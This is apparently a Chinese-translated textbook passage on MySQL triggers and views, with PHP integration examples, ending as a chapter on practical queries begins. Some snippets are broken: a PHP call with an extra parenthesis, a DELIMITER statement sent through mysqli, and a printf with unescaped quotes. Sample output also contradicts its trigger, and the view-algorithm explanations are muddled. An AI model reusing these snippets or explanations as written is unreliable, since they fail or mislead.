DEFINER子句确定将咨询哪个用户帐户,以确定是否有适当的特权来执行触发器中定义的查询。如果已定义,您需要使用'user@host'语法指定用户名和主机名(例如,'jason@localhost')。如果使用了CURRENT_USER(默认),那么将查询导致触发器执行的任何帐户的权限。只有拥有SUPER权限的用户才能将DEFINER分配给其他用户。

以下示例实现了本章前面介绍的帮助台触发器:

DELIMITER //
CREATE TRIGGER au_reassign_ticket
AFTER UPDATE ON technicians
FOR EACH ROW
BEGIN
   IF NEW.available = 0 THEN
      UPDATE tickets SET  technician_id=null WHERE  technician_id=NEW.id;
   END IF;
END;//

注意

您可能想知道触发器标题中的前缀au。关于这个前缀和类似前缀的更多信息,请参见侧栏“触发器命名约定”。

对于受technicians表更新影响的每一行,触发器将更新tickets表,只要在UPDATE查询中指定的technician_id值存在,就将tickets.technician_id设置为null。您知道正在使用查询值,因为别名NEW是列名的前缀。还可以通过在列前加上别名OLD来使用列的初始值。

一旦创建了触发器,继续进行测试,在tickets表中插入几行,并执行一个UPDATE查询,将技术人员的availability列设置为0:

UPDATE technicians SET available=0 WHERE id =1;

现在检查tickets表,您将看到分配给 Jason 的两张票不再被分配。

触发器命名约定

虽然不是必需的,但为触发器设计某种命名约定是个好主意,这样您可以快速确定每个触发器的用途。例如,您可以考虑在每个触发器标题前添加以下字符串之一,正如在触发器创建示例中所做的那样:

  • ad:在DELETE查询发生后执行触发器

  • ai:在INSERT查询发生后执行触发器

  • au:在UPDATE查询发生后执行触发器

  • bd:在DELETE查询发生之前执行触发器

  • bi:在INSERT查询发生之前执行触发器

  • bu:在UPDATE查询发生之前执行触发器

查看现有触发器

有两种方法可以查看现有的触发器:使用SHOW TRIGGERS命令或者使用信息模式。本节将介绍这两种解决方案。

显示触发器命令

SHOW TRIGGERS 命令为一个触发器或一组触发器生成几个属性。其原型如下:

SHOW TRIGGERS [FROM db_name] [LIKE expr | WHERE expr]

因为输出有溢出到下一行的趋势,使得难以读取,所以使用\G标志执行SHOW TRIGGERS是有用的,如下所示:

mysql>SHOW TRIGGERS\G

假设当前数据库中只存在先前创建的au_reassign_ticket触发器,输出如下:

*************************** 1\. row ***************************
         Trigger: au_reassign_ticket
           Event: UPDATE
           Table: technicians
       Statement: begin
if NEW.available = 0 THEN
UPDATE tickets SET  technician_id=0 WHERE  technician_id=NEW.id;
END IF;
END
          Timing: AFTER
         Created: NULL
        sql_mode: STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION
         Definer: root@localhost
character_set_client: latin1
collation_connection: latin1_swedish_ci
  Database Collation: latin1_swedish_ci
1 row in set (0.00 sec)

您可能希望查看触发器创建语句。要查看触发器创建语法,请使用SHOW CREATE TRIGGER语句,如下所示:

mysql>SHOW CREATE TRIGGER au_reassign_ticket\G
*************************** 1\. row ***************************
               Trigger: au_reassign_ticket
              sql_mode:
SQL Original Statement: CREATE DEFINER=`root`@`localhost` TRIGGER au_reassign_ticket
AFTER UPDATE ON technicians
FOR EACH ROW
BEGIN
   IF NEW.available = 0 THEN
      UPDATE tickets SET  technician_id=null WHERE  technician_id=NEW.id;
   END IF;
END
  character_set_client: latin1
  collation_connection: latin1_swedish_ci
    Database Collation: latin1_swedish_ci

了解触发器更多信息的另一种方法是查询INFORMATION_SCHEMA数据库。

信息模式

对在INFORMATION_SCHEMA数据库中找到的TRIGGERS表执行SELECT查询会显示关于触发器的信息。这个数据库在第二十八章中首次介绍。

mysql>SELECT * FROM INFORMATION_SCHEMA.triggers
    ->WHERE trigger_name="au_reassign_ticket"\G

执行此查询会检索到比上一个示例中显示的更多信息:

*************************** 1\. row ***************************
           TRIGGER_CATALOG: NULL
            TRIGGER_SCHEMA: chapter33
              TRIGGER_NAME: au_reassign_ticket
        EVENT_MANIPULATION: UPDATE
      EVENT_OBJECT_CATALOG: NULL
       EVENT_OBJECT_SCHEMA: chapter33
        EVENT_OBJECT_TABLE: technicians
              ACTION_ORDER: 0
          ACTION_CONDITION: NULL
          ACTION_STATEMENT: begin
if NEW.available = 0 THEN
UPDATE tickets SET  technician_id=0 WHERE  technician_id=NEW.id;
END IF;
END
        ACTION_ORIENTATION: ROW
             ACTION_TIMING: AFTER
ACTION_REFERENCE_OLD_TABLE: NULL
ACTION_REFERENCE_NEW_TABLE: NULL
  ACTION_REFERENCE_OLD_ROW: OLD
  ACTION_REFERENCE_NEW_ROW: NEW
          CREATED: NULL
         SQL_MODE: STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION
          DEFINER: root@localhost
      CHARACTER_SET_CLIENT: latin1
      COLLATION_CONNECTION: latin1_swedish_ci
        DATABASE_COLLATION: latin1_swedish_ci

如您所见,查询INFORMATION_SCHEMA数据库的美妙之处在于它比使用SHOW TRIGGERS灵活得多。例如,假设您正在管理许多触发器,并想知道哪些触发器是在一条语句之后触发的:

SELECT trigger_name FROM INFORMATION_SCHEMA.triggers WHERE action_timing="AFTER"

或者,您可能想知道当 technologies 表是一个INSERTUPDATEDELETE查询的目标时,执行了哪些触发器:

mysql>SELECT trigger_name FROM INFORMATION_SCHEMA.triggers WHERE
    ->event_object_table="technicians"

修改触发器

在撰写本文时,没有支持的命令或 GUI 应用可用于修改现有的触发器。因此,修改触发器最简单的策略可能是删除并随后重新创建它。

删除触发器

可以想象,特别是在开发阶段,如果不再需要某个动作,您会想要删除某个触发器。这是通过使用DROP TRIGGER语句完成的,其原型如下:

DROP TRIGGER [IF EXISTS] table_name.trigger_name

例如,要删除au_reassign_ticket触发器,执行以下命令:

DROP TRIGGER au_reassign_ticket;

您需要TRIGGERSUPER权限才能成功执行DROP TRIGGER

警告

当数据库或表被删除时,所有相应的触发器也被删除。

在前面的章节中,我们已经讨论了触发器的创建和删除。这可以很容易地从 PHP 完成,而不是从命令行或 GUI 工具。这是因为 SQL 的本质。如前所述,有两种类型的 SQL 命令。第一个处理模式对象,第二个处理表中的数据。由于其性质,发出创建表或触发器的命令与发出在表中插入、更新或删除行的命令没有区别。清单 30-1 展示了如何使用 PHP 创建触发器。

<?php

   // Connect to the MySQL database
   $mysqli = new mysqli("localhost", "websiteuser", "secret", "helpdesk");

// Create a trigger
$query = <<<HEREDOC
DELIMITER //
CREATE TRIGGER au_reassign_ticket
AFTER UPDATE ON technicians
FOR EACH ROW
BEGIN
   IF NEW.available = 0 THEN
      UPDATE tickets SET  technician_id=null WHERE  technician_id=NEW.id;
   END IF;
END;//
HEREDOC;
$mysqli->query(($query);

?>

Listing 30-1Create trigger

将触发器集成到 Web 应用中

因为触发器透明地发生,所以您真的不需要做任何特殊的事情来将它们的操作集成到您的 web 应用中。尽管如此,还是有必要提供一个例子来证明这个特性在减少 PHP 代码量和进一步简化应用逻辑方面是多么有用。在本节中,您将学习如何实现先前在“事件后采取行动”一节中首次描述的帮助台应用。

首先,如果您还没有这样做,那么继续创建前面部分描述的两个表(technicianstickets)。为每一行添加几个适当的行,确保每个tickets.technician_id匹配一个有效的technicians.technician_id。接下来,如前所述创建au_reassign_ticket触发器。

概括一下这个场景,提交的帮助台票证是通过将每个票证分配给技术人员来解决的。如果技术人员长时间不在办公室,他应该通过更改其可用性状态来更新其配置文件。profile manager 界面类似于图 30-1 所示。

img/314623_5_En_30_Fig1_HTML.jpg

图 30-1

帮助台帐户界面

当技术人员对该界面进行任何更改并提交表格时,清单 30-2 中显示的代码被激活。

<?php

   // Connect to the MySQL database
   $mysqli = new mysqli("localhost", "websiteuser", "secret", "helpdesk");

   // Assign the POSTed values for convenience
   $options = array('min_range' => 0, 'max_range' => 1);
   $email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
   $available = filter_var($_POST['available'], FILTER_VALIDATE_INT, $options);

   // Create the UPDATE query
   $stmt = $mysqli->prepare("UPDATE technicians SET available=? WHERE email=?");

   $stmt->bind_param('is', $available, $email);

   // Execute query and offer user output
   if ($stmt->execute()) {

      echo "<p>Thank you for updating your profile.</p>";

      if ($available == 0) {
         echo "<p>Your tickets will be reassigned to another technician.</p>";
      }

   } else {
      echo "<p>There was a problem updating your profile.</p>";
   }

?>

Listing 30-2Updating the Technician Profile

执行完这段代码后,返回到tickets表,您会看到相关的票已经被取消分配。

摘要

触发器可以大大减少为确保数据库的引用完整性和业务规则而需要编写的代码量。您了解了不同的触发器类型以及它们执行的条件。首先介绍了 MySQL 的触发器实现,然后介绍了如何将这些触发器集成到 PHP 应用中。

下一章介绍视图,这是一个强大的特性,允许您为长而复杂的 SQL 语句创建易于记忆的别名。

三十一、MySQL 视图

即使相对简单的数据驱动应用也依赖于涉及多个表的查询。例如,假设您负责创建一个人力资源应用,并希望创建一个界面来显示每个员工的姓名、电子邮件地址、缺勤总数和奖金。该查询可能如下所示:

SELECT emp.employee_id, emp.firstname, emp.lastname, emp.email,
       COUNT(att.absence) AS absences, COUNT(att.vacation) AS vacation,
       SUM(comp.bonus) AS bonus
FROM employees emp, attendance att, compensation comp
WHERE emp.employee_id = att.employee_id
AND emp.employee_id = comp.employee_id
GROUP BY emp.employee_id ASC
ORDER BY emp.lastname;

在这个例子中,从三个表中选择列:employeesattendance,compensation。为了更容易编写查询,每个表都有一个别名:empatt,comp。这不仅有助于缩短对每个表的所有引用,还可用于将一个表与其自身连接起来,如下所示:

select a.name man_name, b.name emp_name from employee a, employee b where a.id = b.manager_id;

这里,我们在同一个表上创建了两个别名,允许您查找每个员工及其经理的姓名。我们还为两个 name 列引入了别名。因为它们来自同一个表,所以它们在模式中有相同的名称,但是添加一个别名可以区分它们。

这种性质的查询由于其大小足以让人不寒而栗,特别是当它们需要在整个应用的几个位置重复时。此类查询的另一个副作用是,它们可能会导致有人无意中泄露潜在的敏感信息。例如,如果您一时糊涂,不小心将列emp.ssn(员工的社会保险号,或 SSN)插入到这个查询中,该怎么办?这将导致每个员工的 SSN 显示给任何能够查看查询结果的人。此类查询的另一个副作用是,任何被指派创建类似界面的第三方承包商都有可能获得敏感数据的访问权限,从而开启身份盗窃和企业间谍活动的可能性。

有什么选择?毕竟,查询对于开发过程来说是必不可少的,除非你想纠结于管理列级权限(参见第二十六章),否则你似乎只能苦笑着忍受了。

这就是视图变得有用的地方。视图提供了一种封装查询的方法,就像一个存储例程(见第二十九章)作为一组命令的别名一样。例如,您可以创建上述示例查询的视图,并按如下方式执行:

SELECT * FROM employee_attendance_bonus_view;

本章首先简要介绍了视图的概念以及将视图整合到您的开发策略中的各种优势。然后讨论 MySQL 的视图支持,向您展示如何创建、执行和管理视图。最后,您将学习如何将视图合并到 PHP 驱动的 web 应用中。

介绍视图

也称为虚拟表,视图由一组在执行特定查询时返回的行组成。视图不是查询表示的数据的副本,而是通过别名使查询可用,简化了检索数据的方式。其他数据库系统支持物化视图或复制数据的地方。MySQL 不支持,但可以用存储过程和表来实现。

视图非常有利,原因有很多:

  • 简单:某些数据资源需要经常检索。例如,在客户关系管理应用中,将客户与特定的发票相关联是经常发生的。因此,创建一个名为get_client_name的视图可能会很方便,可以省去重复查询多个表来检索这些信息的麻烦。

  • 安全性:如前所述,在某些情况下,您可能希望确保某些信息不被第三方获取,例如员工的社会保障号和工资。视图提供了实现这种保护的实用解决方案。这要求视图不是用 select *操作创建的,并且禁止直接对原始表进行查询访问。

  • 可维护性:就像面向对象的类抽象底层数据和行为一样,视图抽象查询的血淋淋的细节。在查询必须随后更改以反映对模式修改的情况下,这种抽象非常有用。

现在,您已经更好地理解了视图如何成为您的开发策略的重要部分,是时候了解更多关于 MySQL 的视图支持了。

MySQL 的视图支持

在本节中,您将学习如何创建、执行、修改和删除视图。

创建和执行视图

创建一个视图是通过CREATE VIEW语句完成的。其原型如下:

CREATE
    [OR REPLACE]
    [ALGORITHM = {MERGE | TEMPTABLE | UNDEFINED }]
    [DEFINER = { user | CURRENT_USER }]
    [SQL SECURITY { DEFINER | INVOKER }]
    VIEW view_name [(column_list)]
    AS select_statement
    [WITH [CASCADED | LOCAL] CHECK OPTION]

在本节的整个过程中,将介绍完整的CREATE VIEW语法;然而,现在让我们从一个简单的例子开始。假设您的数据库包含一个名为employees的表,其中包含每个雇员的信息。表创建语法如下所示:

CREATE TABLE employees (
   id INT UNSIGNED NOT NULL AUTO_INCREMENT,
   employee_id CHAR(8) NOT NULL,
   first_name VARCHAR(100) NOT NULL,
   last_name VARCHAR(100) NOT NULL,
   email VARCHAR(100) NOT NULL,
   phone CHAR(10) NOT NULL,
   salary DECIMAL(8,2) NOT NULL,
   PRIMARY KEY(id)
);

一名开发人员被分配了一项任务,即创建一个允许员工查找同事联系信息的应用。因为薪水是一个敏感的问题,所以要求数据库管理员创建一个只包含每个雇员的姓名、电子邮件地址和电话号码的视图。以下视图提供了该信息的界面,根据雇员的姓氏对结果进行排序:

CREATE VIEW employee_contact_info_view AS
  SELECT first_name, last_name, email, phone
  FROM employees ORDER BY last_name ASC;

这种观点可以这样称呼:

SELECT * FROM employee_contact_info_view;

这会产生类似于以下内容的结果:

+------------+-----------+-------------------+-------------+
| first_name | last_name | email             | phone       |
+------------+-----------+-------------------+-------------+
| Bob        | Connors   | bob@example.com   | 2125559945  |
| Jason      | Gilmore   | jason@example.com | 2125551212  |
| Matt       | Wade      | matt@example.com  | 2125559999  |
+------------+-----------+-------------------+-------------+

注意,在许多方面,MySQL 对待视图就像对待任何其他表一样。事实上,如果您在使用创建视图的数据库时执行SHOW TABLES(或者使用 phpMyAdmin 或另一个客户机执行一些类似的任务),您会看到视图与其他表一起列出:

mysql>SHOW TABLES;

这会产生以下结果:

+-----------------------------+
| Tables_in_corporate         |
+-----------------------------+
| employees                   |
| employee_contact_info_view  |
+-----------------------------+

如果想知道哪些是表,哪些是视图,可以像这样查询 INFORMATION_SCHEMA:

SELECT table_name, table_type, engine
       FROM information_schema.tables
       WHERE table_schema = 'book'
       ORDER BY table_name;

输出如下所示:

+-----------------------------+------------+--------+
| table_name                  | table_type | engine |
+-----------------------------+------------+--------+
| employees                   | BASE TABLE | InnoDB |
| employee_contact_info_view  | View       | InnoDB |
+-----------------------------+------------+--------+

现在在视图上执行DESCRIBE语句:

mysql>DESCRIBE employee_contact_info_view;

这会产生:

+------------+--------------+------+-----+---------+-------+
| Field      | Type         | Null | Key | Default | Extra |
+------------+--------------+------+-----+---------+-------+
| first_name | varchar(100) | NO   |     |         |       |
| last_name  | varchar(100) | NO   |     |         |       |
| email      | varchar(100) | NO   |     |         |       |
| phone      | char(10)     | NO   |     |         |       |
+------------+--------------+------+-----+---------+-------+

您可能会惊讶地发现,您甚至可以创建可更新的视图。也就是说,您可以通过引用视图来插入甚至更新行,但会导致基础表被更新。该特性在“更新视图”一节中介绍。

自定义视图结果

视图没有被约束为返回用于创建视图的查询中定义的每一行。例如,可以只返回雇员的姓氏和电子邮件地址:

SELECT last_name, email FROM employee_contact_info_view;

该返回结果类似于以下内容:

+-----------+-------------------+
| last_name | email             |
+-----------+-------------------+
| Connors   | bob@example.com   |
| Gilmore   | jason@example.com |
| Wade      | matt@example.com  |
+-----------+-------------------+

您还可以在调用视图时覆盖任何默认的排序子句。例如,employee_contact_info_view视图定义指定信息应该根据姓氏排序。但是如果你想根据电话号码来排序结果呢?只要改变从句,就像这样:

SELECT * FROM employee_contact_info_view ORDER BY phone;

这会产生以下输出:

+------------+------------+-------------------+------------+
| first_name | last_name  | email             | phone      |
+------------+------------+-------------------+------------+
| Jason      | Gilmore    | jason@example.com | 2125551212 |
| Bob        | Connors    | bob@example.com   | 2125559945 |
| Matt       | Wade       | matt@example.com  | 2125559999 |
+------------+------------+-------------------+------------+

就此而言,视图可以与所有子句和函数结合使用,这意味着您可以使用SUM()LOWER()ORDER BYGROUP BY,或者任何其他您喜欢的子句或函数。

传入参数

正如您可以通过使用子句和函数来操纵视图结果一样,您也可以通过传递参数来实现这一点。例如,假设您对检索特定员工的联系信息感兴趣,但您只记得他的名字:

SELECT * FROM employee_contact_info_view WHERE first_name="Jason";

这将返回:

+------------+-----------+-------------------+------------+
| first_name | last_name | email             | phone      |
+------------+-----------+-------------------+------------+
| Jason      | Gilmore   | jason@example.com | 2125551212 |
+------------+-----------+-------------------+------------+

修改返回的列名

表列命名约定通常是程序员方便的产物,当呈现给最终用户时,偶尔会导致晦涩难懂的阅读。使用视图时,可以通过可选的 column_list 参数传递列名来改进这些名称。下面的例子是对employee_contact_info_view视图的修改,用一些更友好的名字替换了默认的列名:

CREATE VIEW employee_contact_info_view
  (`First Name`, `Last Name`, `Email Address`, `Telephone`) AS
  SELECT first_name, last_name, email, phone
  FROM employees ORDER BY last_name ASC;

现在执行以下查询:

SELECT * FROM employee_contact_info_view;

这将返回:

+------------+-----------+-------------------+-------------+
| First Name | Last Name | Email Address     | Telephone   |
+------------+-----------+-------------------+-------------+
| Bob        | Connors   | bob@example.com   | 2125559945  |
| Jason      | Gilmore   | jason@example.com | 2125551212  |
| Matt       | Wade      | matt@example.com  | 2125559999  |
+------------+-----------+-------------------+-------------+

创建视图时,使用反勾字符创建带空格的列名。最初的名字使用下划线。为了访问这些值,您必须以数组的形式获取数据。

使用算法属性

ALGORITHM = {MERGE | TEMPTABLE | UNDEFINED}

使用这个 MySQL 特有的属性,您可以通过三个设置来优化 MySQL 对视图的执行,下面将介绍这三个设置。

合并

MERGE算法使 MySQL 在执行视图时将视图的查询定义与传入的任何其他子句结合起来。例如,假设使用以下查询定义了名为employee_contact_info_view的视图:

SELECT * FROM employees ORDER BY first_name;

但是,以下语句用于执行视图:

SELECT first_name, last_name FROM employee_contact_info_view;

MERGE算法实际上会执行下面的语句:

SELECT first_name, last_name FROM employee_contact_info_view ORDER by first_name;

换句话说,视图的定义和SELECT查询已经被合并。

时间表

如果视图的基础表中的数据发生了变化,那么下次通过视图访问表时,这些变化将立即通过视图反映出来。但是,当处理特别大或频繁更新的表时,您可能会首先考虑将视图数据转储到一个临时表中,以便更快地释放视图的表锁。

当一个视图被分配了TEMPTABLE算法时,一个相应的临时表在创建视图的同时被创建。

不明确的

当一个视图被分配了UNDEFINED算法(默认)时,MySQL 会尝试确定应该使用两种算法中的哪一种(MERGETEMPTABLE)。虽然在一些特定的场景中,TEMPTABLE算法是首选(比如在查询中使用聚合函数时),但MERGE算法通常更有效。因此,除非查询条件规定一种算法优于另一种算法,否则应该使用UNDEFINED

如果将UNDEFINED算法分配给视图,如果查询表示其结果和视图中的结果之间存在一对一的关系,MySQL 将选择TEMPTABLE

使用安全选项

[DEFINER = { user | CURRENT_USER }]
[SQL SECURITY { DEFINER | INVOKER }]

在 MySQL 5.1.2 中,CREATE VIEW命令增加了额外的安全特性,有助于控制每次执行视图时如何确定特权。

DEFINER子句确定在视图执行时将检查哪个用户帐户的特权,以确定特权是否足以正确执行视图。如果设置为默认值CURRENT_USER,则检查执行用户的权限;否则,DEFINER可以被设置为一个特定的用户,使用语法‘user @ host’(例如,‘Jason @ localhost’)来标识用户。只有拥有SUPER权限的用户才能将DEFINER条款设置给其他用户。

SQL_SECURITY子句决定了当视图被执行时,是否应该检查视图创建者(DEFINER,然后查看前面提到的DEFINER子句的设置)或调用者(INVOKER)的特权。

使用 WITH CHECK OPTION 子句

WITH [CASCADED | LOCAL] CHECK OPTION

因为可以基于其他视图创建视图(不推荐),所以必须有一种方法来确保更新嵌套视图的尝试不会违反其定义的约束。此外,尽管有些视图是可更新的,但在某些情况下,以违反视图基础查询所施加的某些约束的方式修改列值是不符合逻辑的。例如,如果查询只检索那些包含city = "Columbus"的行,那么创建一个包含WITH CHECK OPTION子句的视图将会阻止任何后续的视图更新将列中的任何值更改为除Columbus之外的任何值。

这个概念和修改 MySQL 在这方面的行为的选项可能最好用一个例子来说明。假设名为experienced_age_view的视图是用LOCAL CHECK OPTION选项定义的,并且包含以下查询:

SELECT first_name, last_name, age, years_experience
   FROM experienced_view WHERE age > 65;

注意,这个查询引用了另一个名为experienced_view的视图。假设这个视图是这样定义的:

SELECT first_name, last_name, age, years_experience
   FROM employees WHERE years_experience > 5;

如果用CASCADED CHECK OPTION选项定义了experienced_age_view,那么尝试执行下面的INSERT查询将会失败:

INSERT INTO experienced_age_view SET
   first_name = 'Jason', last_name = 'Gilmore', age = '89', years_experience = '3';

失败的原因是3years_experience值将违反experienced_age_view的约束,该约束要求years_experience至少为 5 年。相反,如果experienced_age_view视图被定义为LOCAL,那么INSERT查询将是有效的,因为只有age值会大于 65。但是,如果年龄被设置为 65 以下的任何值,比如 42,查询将会失败,因为LOCAL会检查查询中引用的视图,在本例中是experienced_age_view

查看视图信息

MySQL 提供了三种方法来更多地了解您现有的视图:DESCRIBE命令、SHOW CREATE VIEW命令或INFORMATION_SCHEMA数据库。

使用描述命令

因为视图类似于虚拟表,所以您可以使用DESCRIBE语句来了解视图所表示的列的更多信息。例如,要查看名为employee_contact_info_view的视图,请执行以下命令:

DESCRIBE employee_contact_info_view;

这会产生以下输出:

+----------------+--------------+------+-----+-------------+----------+
| Field          | Type         | Null | Key | Default     | Extra    |
+----------------+--------------+------+-----+-------------+----------+
| First Name     | varchar(100) | NO   |     |             |          |
| Last Name      | varchar(100) | NO   |     |             |          |
| Email Address  | varchar(100) | NO   |     |             |          |
| Telephone      | char(10)     | NO   |     |             |          |
+----------------+--------------+------+-----+-------------+----------+

使用显示创建视图命令

您可以使用SHOW CREATE VIEW命令查看视图的语法。其原型如下:

SHOW CREATE VIEW view_name;

例如,要查看employee_contact_info_view视图语法,请执行以下命令:

SHOW CREATE VIEW employee_contact_info_view\G

这将产生以下输出(为了可读性,略有修改):

*************************** 1\. row ***************************
                View: employee_contact_info_view
                Create View: CREATE ALGORITHM=UNDEFINED DEFINER=`root`@`localhost`
                SQL SECURITY DEFINER VIEW `employee_contact_info_view`
                AS select `employees`.`first_name`
                AS `first_name`,`employees`.`last_name`
                AS `last_name`,`employees`.`email`
                AS `email`,`employees`.`phone`
                AS `phone` from `employees`
                order by `employees`.`last_name`
                character_set_client: latin1
                collation_connection: latin1_swedish_ci

虽然很有用,但是您可以通过使用INFORMATION_SCHEMA数据库来查看代码语法和更多内容。

使用信息模式数据库

IN FORMATION_SCHEMA 数据库包括一个views表,该表包含以下内容:

SELECT * FROM INFORMATION_SCHEMA.views\G

假设employee_contact_info_view是唯一存在的视图,执行该语句会产生以下输出:

*************************** 1\. row ***************************
             TABLE_CATALOG: NULL
             TABLE_SCHEMA: chapter31
             TABLE_NAME: employee_contact_info_view
             VIEW_DEFINITION: select first_name, last_name, email, phone from employees
             CHECK_OPTION: NONE
             IS_UPDATABLE: YES
             DEFINER: root@localhost
             SECURITY_TYPE: DEFINER
             CHARACTER_SET_CLIENT: latin1
             COLLATION_CONNECTION: latin1_swedish_ci

当然,使用信息模式的美妙之处在于能够查询视图的任何方面,而不是被迫整理堆积如山的信息。例如,如果您只想检索为chapter31数据库定义的视图的名称,您可以使用以下查询:

SELECT table_name FROM INFORMATION_SCHEMA.views WHERE table_schema="chapter31"\G

修改视图

可以使用ALTER VIEW语句修改现有视图。其原型如下:

ALTER [ALGORITHM = {UNDEFINED | MERGE | TEMPTABLE}]
   [DEFINER = { user | CURRENT_USER }]
   [SQL SECURITY { DEFINER | INVOKER }]
   VIEW view_name [(column_list)]
   AS select_statement
   [WITH [CASCADED | LOCAL] CHECK OPTION]

例如,要修改employee_contact_info_view by,将SELECT语句改为只检索名字、姓氏和电话号码,只需执行以下命令:

ALTER VIEW employee_contact_info_view
  (`First Name`, `Last Name`, `Telephone`) AS
  SELECT first_name, last_name, phone
  FROM employees ORDER BY last_name ASC;

删除视图

删除一个现有的视图是通过DROP VIEW语句完成的。它的原型是这样的:

DROP VIEW [IF EXISTS]
   view_name [, view_name]...
   [RESTRICT | CASCADE]

例如,要删除employee_contact_info_view视图,执行以下命令:

DROP VIEW employee_contact_info_view;

如果试图删除一个不存在的视图,包含IF EXISTS关键字将导致 MySQL 隐藏一个错误。在发布时,RESTRICTCASCADE关键字被忽略,但允许从其他数据库系统移植 SQL 代码。

更新视图

视图的效用不仅限于抽象用户可以执行 SELECT 语句的查询。视图也可以作为一个接口,通过它可以更新底层的表。例如,假设一名办公室助理负责更新由员工联系信息组成的表中的关键列。助理应该只能查看和修改员工的名字、姓氏、电子邮件地址和电话号码;当然应该防止他们查看或操纵 SSN 和工资。本章前面创建的视图employee_contact_info_view将通过充当可更新和可选择的视图来满足这两个条件。如果视图的查询满足以下任一条件,则该视图不可更新:

  • 它包含一个聚合函数,如SUM()

  • 其算法设置为TEMPTABLE

  • 它包含DISTINCTGROUP BYHAVINGUNIONUNION ALL

  • 它包含一个外部联接。

  • 它在FROM子句中包含一个不可更新的视图。

  • 它在SELECTFROM子句中包含一个子查询,在WHERE子句中包含一个子查询,该子查询引用FROM子句中的一个表。

  • 它仅指文字值,意味着没有要更新的表。

例如,要修改雇员 Bob Connors 的电话号码,可以对视图执行UPDATE查询,如下所示:

UPDATE employee_contact_info_view
       SET phone="2125558989" WHERE `Email Address`='bob@example.com';

术语“可更新视图”不仅限于UPDATE查询;如果视图满足一些约束条件,还可以通过视图插入新行:

  • 该视图必须包含基础表中未分配默认值的所有列。

  • 视图列不能包含表达式。例如,视图列CEILING(salary)将使视图不可测试。

因此,基于当前的视图定义,不能使用employee_contact_info_view视图添加新雇员,因为没有分配默认值的表列,例如salaryssn,对于视图是不可用的。

与任何其他模式对象一样,可以直接从 PHP 创建、更新和删除这些对象。它们就像任何其他 SQl 查询一样被处理。

将视图合并到 Web 应用中

与前两章中介绍的存储过程和触发器示例一样,将视图合并到 web 应用中是一件相当简单的事情。毕竟,视图是虚拟表,可以像典型的 MySQL 表一样管理,使用SELECTUPDATEDELETE来检索和操作它们表示的内容。例如,执行本章前面创建的employee_contact_info_view视图。为了省去您查阅本章开头的麻烦,这里重复了视图创建语法:

CREATE VIEW employee_contact_info_view
  (`First Name`, `Last Name`, `E-mail Address`, `Telephone`) AS
  SELECT first_name, last_name, email, phone
  FROM employees ORDER BY last_name ASC;

以下 PHP 脚本执行视图并以 HTML 格式输出结果:

<?php

    // Connect to the MySQL database
    $mysqli = new mysqli("localhost", "websiteuser", "secret", "chapter34");

    // Create the query
    $query = "SELECT * FROM employee_contact_info_view";

    // Execute the query
    if ($result = $mysqli->query($query)) {

        printf("<table border="1">");
        printf("<tr>");

        // Output the headers
        $fields = $result->fetch_fields();
        foreach ($fields as $field)
            printf("<th>%s</th>", $field->name);

        printf("</tr>");

        // Output the results

        while ($employee = $result->fetch_assoc()) {
            // Format the phone number
            $phone = preg_replace("/([0-9]{3})([0-9]{3})([0-9]{4})/",
                                  "(\\1) \\2-\\3", $employee['Telephone']);

            printf("<tr>");
            printf("<td>%s</td><td>%s</td>", $employee['First Name'], $employee['Last Name']);
            printf("<td>%s</td><td>%s</td>", $employee['Email Address'], $phone);
            printf("</tr>");

      }

   }
?>

执行这段代码会产生如图 31-1 所示的输出。

img/314623_5_En_31_Fig1_HTML.jpg

图 31-1

从视图中检索结果

摘要

本章介绍了 MySQL 中的视图。视图可以减少应用中的重复查询,同时增强安全性和可维护性。在本章中,您学习了如何创建、执行、修改和删除 MySQL 视图;以及如何将它们整合到 PHP 驱动的应用中。

下一章深入探讨了查询的主题,涵盖了在构建数据驱动网站时必然会反复遇到的许多概念。

三十二、实用数据库查询

最后几章介绍了许多关于结合使用 PHP 和 MySQL 来检索和操作数据的概念。本章扩展了您的知识,展示了您在创建数据库驱动的 web 应用时必然会反复遇到的几个挑战。特别是,您将了解到以下概念的更多信息:

  • 表格输出:以易读的格式列出查询结果是构建数据库驱动的应用时最常见的任务之一。本章解释了如何以编程方式创建这些列表。

  • 排序表格输出:通常,查询结果以默认方式排序,例如按产品名称排序。但是,如果用户希望使用其他标准(比如价格)对结果进行重新排序,该怎么办呢?您将了解如何提供表排序机制,让用户可以对任何列进行排序。

  • 子查询:即使简单的数据驱动应用也经常需要查询来处理多个表,通常使用连接。然而,正如您将了解到的那样,这些操作中的许多也可以通过更直观的子查询来完成。

  • 游标:游标的操作方式类似于数组指针,它使您能够快速浏览数据库结果集。在这一章中,你将学习如何使用光标来简化你的代码。

  • 分页结果:数据库表可以包含数千甚至数百万条记录。当检索大型结果集时,将这些结果分隔在几个页面上并为用户提供在这些页面之间来回导航的机制通常是有意义的。本章解释了如何做到这一点。

抽样资料

本章大部分内容中的许多示例都基于productssales表,如下所示:

CREATE TABLE products (
   id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
   product_id VARCHAR(8) NOT NULL,
   name VARCHAR(25) NOT NULL,
   price DECIMAL(5,2) NOT NULL,
   description MEDIUMTEXT NOT NULL
);
CREATE TABLE sales (
   id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
   client_id INT UNSIGNED NOT NULL,
   order_time TIMESTAMP NOT NULL,
   sub_total DECIMAL(8,2) NOT NULL,
   shipping_cost DECIMAL(8,2) NOT NULL,
   total_cost DECIMAL(8,2) NOT NULL
);

创建表格输出

无论是旅行选项、产品摘要还是电影放映时间,以表格或网格的形式显示信息是当今使用的最常见的表示范例之一 web 开发人员已经将 HTML 表格的初衷延伸到了他们的边界。令人高兴的是,XHTML 和 CSS 的引入使得基于 web 的表格显示比以往任何时候都更易于管理。在本节中,您将学习如何使用 PHP、MySQL 和一个名为HTML_Table的 PEAR 包构建数据驱动的表。

PEAR 组件的使用不是本节的重要部分。尽管许多 PEAR 类仍然提供有用的功能,但它们不再被积极维护。您应该编写自己的格式化类,或者找到支持您特别需要的特性集的开放源代码版本,这些版本由一个活跃的社区维护,或者您可以使用商业产品。本节旨在让您了解解决该问题的一种方法。

